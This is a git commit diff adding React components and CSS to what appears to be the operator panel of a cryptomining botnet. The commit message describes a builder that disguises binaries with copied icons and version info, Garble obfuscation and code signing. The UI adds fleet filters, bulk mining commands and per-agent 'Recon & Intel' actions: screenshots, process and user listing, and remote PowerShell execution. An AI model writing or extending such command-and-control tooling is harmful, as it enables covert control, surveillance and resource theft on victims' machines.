Add forge pipeline polish, simple forge UX, and fleet management upgrades.

Fusion copies prep icon and version info via go-winres; optional Garble obfuscation, Authenticode signing, and dry-run size estimates. Forge Simple mode with smart defaults; fleet roster gets compact expandable cards, filters, bulk commands, per-agent notes/tags, and typed WebSocket payloads.
This commit is contained in:
drjones
2026-05-28 21:48:20 -07:00
parent fda72041f0
commit c95a4373de
45 changed files with 2282 additions and 272 deletions

View File

@@ -0,0 +1,97 @@
import AgentRemoteActions from './AgentRemoteActions';
import { formatHashrate, formatUptime } from '../../help/fleetFilters';
import type { Agent } from '../../types';
import type { WSMessage } from '../../types';
interface Props {
agent: Agent;
selected: boolean;
expanded: boolean;
selectable?: boolean;
checked?: boolean;
onToggleExpand: () => void;
onSelect: () => void;
onCheck?: (checked: boolean) => void;
latestWsMessage?: WSMessage | null;
}
export default function AgentListItem({
agent,
selected,
expanded,
selectable,
checked,
onToggleExpand,
onSelect,
onCheck,
latestWsMessage,
}: Props) {
const online = agent.status === 'online';
const handleRowClick = (e: React.MouseEvent) => {
const target = e.target as HTMLElement;
if (target.closest('input[type="checkbox"]') || target.closest('button') || target.closest('.agent-remote')) {
return;
}
onSelect();
onToggleExpand();
};
return (
<div
className={`neon-card agent-list-item compact-row ${selected ? 'selected' : ''} ${expanded ? 'expanded' : ''}`}
onClick={handleRowClick}
>
<div className="agent-list-header">
<div className="agent-list-name">
{selectable && (
<input
type="checkbox"
className="checkbox agent-list-select"
checked={!!checked}
onChange={(e) => {
e.stopPropagation();
onCheck?.(e.target.checked);
}}
onClick={(e) => e.stopPropagation()}
/>
)}
<span className={`status-dot ${agent.status}`} />
<span>{agent.name}</span>
</div>
<span className={`status-badge ${agent.status}`}>{agent.status}</span>
</div>
{(agent.tags?.length ?? 0) > 0 && (
<div className="agent-list-tags">
{agent.tags!.map((t) => (
<span key={t} className="agent-tag-chip">{t}</span>
))}
</div>
)}
<div className="agent-list-details">
<span>{formatHashrate(agent.hashrate_15m)}</span>
<span>{agent.ip || '—'}</span>
{!expanded && <span className="form-hint">click for details</span>}
</div>
{!expanded && agent.notes?.trim() && (
<p className="agent-list-notes-preview">{agent.notes.trim().slice(0, 80)}{agent.notes.length > 80 ? '…' : ''}</p>
)}
{expanded && (
<div className="agent-list-expand" onClick={(e) => e.stopPropagation()}>
<div className="agent-list-meta">
<span>Shares: {agent.shares_good}/{agent.shares_total}</span>
<span>{agent.cpu_cores} cores · {agent.memory_gb} GB</span>
<span>Uptime: {formatUptime(agent.uptime_seconds)}</span>
<span>v{agent.version || '?'}</span>
</div>
{agent.notes?.trim() && <p className="form-hint">{agent.notes}</p>}
<AgentRemoteActions agent={agent} compact online={online} latestWsMessage={latestWsMessage} />
</div>
)}
</div>
);
}

View File

@@ -1,6 +1,7 @@
import React, { useState, useRef, useEffect, useCallback } from 'react';
import { api } from '../../api/client';
import type { Agent, WSMessage } from '../../types';
import type { WSCommandResult } from '../../types/ws';
import './AgentRemoteActions.css';
interface Props {
@@ -8,6 +9,8 @@ interface Props {
agent?: Agent;
agentId?: string;
agentName?: string;
/** Explicit online flag — use when agent object may be stale */
online?: boolean;
compact?: boolean;
latestWsMessage?: WSMessage | null;
onCommandSent?: (action: string) => void;
@@ -17,13 +20,14 @@ export default function AgentRemoteActions({
agent,
agentId: agentIdProp,
agentName: agentNameProp,
online: onlineProp,
compact = false,
latestWsMessage,
onCommandSent,
}: Props) {
const agentId = agentIdProp ?? agent?.id ?? '';
const agentName = agentNameProp ?? agent?.name ?? 'Agent';
const online = agent?.status !== 'offline';
const isOnline = onlineProp ?? agent?.status === 'online';
const [isDragging, setIsDragging] = useState(false);
const [customCmd, setCustomCmd] = useState('');
@@ -42,12 +46,7 @@ export default function AgentRemoteActions({
useEffect(() => {
if (!latestWsMessage || latestWsMessage.type !== 'command_result') return;
const payload = latestWsMessage.payload as {
agent_id?: string;
action?: string;
success?: boolean;
message?: string;
};
const payload = latestWsMessage.payload as WSCommandResult;
const { agent_id, action, success, message } = payload;
if (agentId && agentId !== 'all' && agent_id !== agentId) return;
@@ -64,7 +63,7 @@ export default function AgentRemoteActions({
addLog('No agent selected');
return;
}
if (agent && !online) {
if (agent && !isOnline) {
addLog('Agent is offline');
return;
}
@@ -121,10 +120,10 @@ export default function AgentRemoteActions({
return (
<div className="agent-remote compact" onClick={(e) => e.stopPropagation()}>
<div className="agent-remote-row">
<button type="button" className="agent-action-btn" disabled={!online || !!busy} onClick={() => dispatch('pause')}>Pause</button>
<button type="button" className="agent-action-btn" disabled={!online || !!busy} onClick={() => dispatch('resume')}>Resume</button>
<button type="button" className="agent-action-btn warn" disabled={!online || !!busy} onClick={() => dispatch('stop')}>Stop</button>
<button type="button" className="agent-action-btn danger" disabled={!online || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')}>Pause</button>
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')}>Resume</button>
<button type="button" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Stop</button>
<button type="button" className="agent-action-btn danger" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
</div>
</div>
);
@@ -145,30 +144,30 @@ export default function AgentRemoteActions({
<div className="action-group recon-group">
<h3>Recon &amp; Intel</h3>
<div className="button-grid">
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('screenshot')}>Screenshot</button>
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('ps')}>Process List</button>
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('sysinfo')}>System Info</button>
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('netstat')}>Net Connections</button>
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('users')}>List Users</button>
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('software')}>Installed Software</button>
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('get_log', { tail_lines: 300 })}>Fetch Log</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')}>Screenshot</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('ps')}>Process List</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('sysinfo')}>System Info</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('netstat')}>Net Connections</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('users')}>List Users</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('software')}>Installed Software</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('get_log', { tail_lines: 300 })}>Fetch Log</button>
</div>
</div>
<div className="action-group mining-group">
<h3>Mining Controls</h3>
<div className="button-grid">
<button type="button" className="btn-cyan" disabled={!online || !!busy} onClick={() => dispatch('resume')}>Resume</button>
<button type="button" className="btn-amber" disabled={!online || !!busy} onClick={() => dispatch('pause')}>Pause</button>
<button type="button" className="btn-cyan" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')}>Resume</button>
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')}>Pause</button>
</div>
</div>
<div className="action-group power-group">
<h3>System Power</h3>
<div className="button-grid">
<button type="button" className="btn-amber" disabled={!online || !!busy} onClick={() => dispatch('restart')}>Restart Agent</button>
<button type="button" className="btn-red" disabled={!online || !!busy} onClick={() => dispatch('stop')}>Kill Process</button>
<button type="button" className="btn-red" disabled={!online || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('restart')}>Restart Agent</button>
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Kill Process</button>
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
</div>
</div>
</div>
@@ -185,10 +184,10 @@ export default function AgentRemoteActions({
<div className="tactical-bottom-row">
<div
className={`drop-zone ${isDragging ? 'dragging' : ''}`}
onDragOver={handleDragOver}
className={`drop-zone ${isDragging ? 'dragging' : ''} ${!isOnline ? 'disabled' : ''}`}
onDragOver={isOnline ? handleDragOver : undefined}
onDragLeave={handleDragLeave}
onDrop={handleDrop}
onDrop={isOnline ? handleDrop : undefined}
>
<span className="drop-icon">📥</span>
<p>Drag &amp; Drop file here</p>
@@ -212,9 +211,9 @@ export default function AgentRemoteActions({
onChange={(e) => setCustomCmd(e.target.value)}
placeholder="Enter PowerShell command..."
autoComplete="off"
disabled={!online}
disabled={!isOnline}
/>
<button type="submit" disabled={!online}>EXEC</button>
<button type="submit" disabled={!isOnline}>EXEC</button>
</form>
</div>
</div>

View File

@@ -0,0 +1,103 @@
.agents-list-panel {
flex: 1;
min-width: 0;
}
.agents-list-panel .agents-list {
display: flex;
flex-direction: column;
gap: 0.5rem;
}
.fleet-toolbar {
margin-bottom: 1rem;
padding: 0.85rem 1rem;
}
.fleet-toolbar-filters {
display: flex;
flex-wrap: wrap;
gap: 0.5rem;
align-items: center;
}
.fleet-filter-search {
flex: 1 1 180px;
min-width: 160px;
}
.fleet-filter-select {
min-width: 120px;
}
.fleet-filter-attn {
font-size: 0.85rem;
white-space: nowrap;
}
.fleet-bulk-bar {
display: flex;
flex-wrap: wrap;
gap: 0.5rem;
align-items: center;
margin-top: 0.75rem;
padding-top: 0.75rem;
border-top: 1px solid rgba(255, 255, 255, 0.08);
}
.agent-list-item.compact-row {
cursor: pointer;
padding: 0.65rem 0.85rem;
}
.agent-list-item.compact-row .agent-list-header {
margin-bottom: 0.25rem;
}
.agent-list-item.compact-row .agent-list-details,
.agent-list-item.compact-row .agent-list-meta {
font-size: 0.82rem;
opacity: 0.9;
}
.agent-list-item.expanded {
border-color: rgba(0, 245, 255, 0.35);
}
.agent-list-expand {
margin-top: 0.65rem;
padding-top: 0.65rem;
border-top: 1px solid rgba(255, 255, 255, 0.08);
}
.agent-tag-chip {
display: inline-block;
font-size: 0.7rem;
padding: 0.1rem 0.45rem;
margin-right: 0.25rem;
border-radius: 4px;
background: rgba(0, 245, 255, 0.12);
color: var(--neon-cyan, #0ff);
border: 1px solid rgba(0, 245, 255, 0.25);
}
.agent-list-notes-preview {
font-size: 0.8rem;
color: var(--text-muted, #888);
font-style: italic;
margin-top: 0.25rem;
}
.agent-list-select {
margin-right: 0.5rem;
}
.agent-meta-editor {
display: flex;
flex-direction: column;
gap: 0.75rem;
}
.agent-meta-tags-input {
font-size: 0.85rem;
}

View File

@@ -0,0 +1,92 @@
import type { FleetFilterState } from '../../help/fleetFilters';
import { collectFleetSubnets, collectFleetTags } from '../../help/fleetFilters';
import type { Agent } from '../../types';
import './FleetToolbar.css';
interface Props {
agents: Agent[];
filters: FleetFilterState;
onChange: (next: FleetFilterState) => void;
selectedCount: number;
onBulkAction: (action: string) => void;
bulkBusy: boolean;
}
export default function FleetToolbar({
agents,
filters,
onChange,
selectedCount,
onBulkAction,
bulkBusy,
}: Props) {
const tags = collectFleetTags(agents);
const subnets = collectFleetSubnets(agents);
return (
<div className="fleet-toolbar card">
<div className="fleet-toolbar-filters">
<input
type="search"
className="input fleet-filter-search"
placeholder="Search name, IP, notes, tags…"
value={filters.search}
onChange={(e) => onChange({ ...filters, search: e.target.value })}
/>
<select
className="select fleet-filter-select"
value={filters.tag}
onChange={(e) => onChange({ ...filters, tag: e.target.value })}
title="Filter by tag"
>
<option value="">All tags</option>
{tags.map((t) => (
<option key={t} value={t}>{t}</option>
))}
</select>
<select
className="select fleet-filter-select"
value={filters.subnet}
onChange={(e) => onChange({ ...filters, subnet: e.target.value })}
title="Filter by subnet"
>
<option value="">All subnets</option>
{subnets.map((s) => (
<option key={s} value={s}>{s}</option>
))}
</select>
<select
className="select fleet-filter-select"
value={String(filters.hashrateMin)}
onChange={(e) => onChange({ ...filters, hashrateMin: Number(e.target.value) })}
title="Minimum 15m hashrate"
>
<option value="0">Any hashrate</option>
<option value="1000"> 1 KH/s</option>
<option value="10000"> 10 KH/s</option>
<option value="100000"> 100 KH/s</option>
<option value="1000000"> 1 MH/s</option>
</select>
<label className="checkbox-label fleet-filter-attn">
<input
type="checkbox"
className="checkbox"
checked={filters.needsAttention}
onChange={(e) => onChange({ ...filters, needsAttention: e.target.checked })}
/>
<span>Needs attention</span>
</label>
</div>
{selectedCount > 0 && (
<div className="fleet-bulk-bar">
<span className="font-tech">{selectedCount} selected</span>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('pause')}>Pause</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('resume')}>Resume</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('stop')}>Stop</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('restart_idle')}>Restart idle miners</button>
</div>
)}
</div>
);
}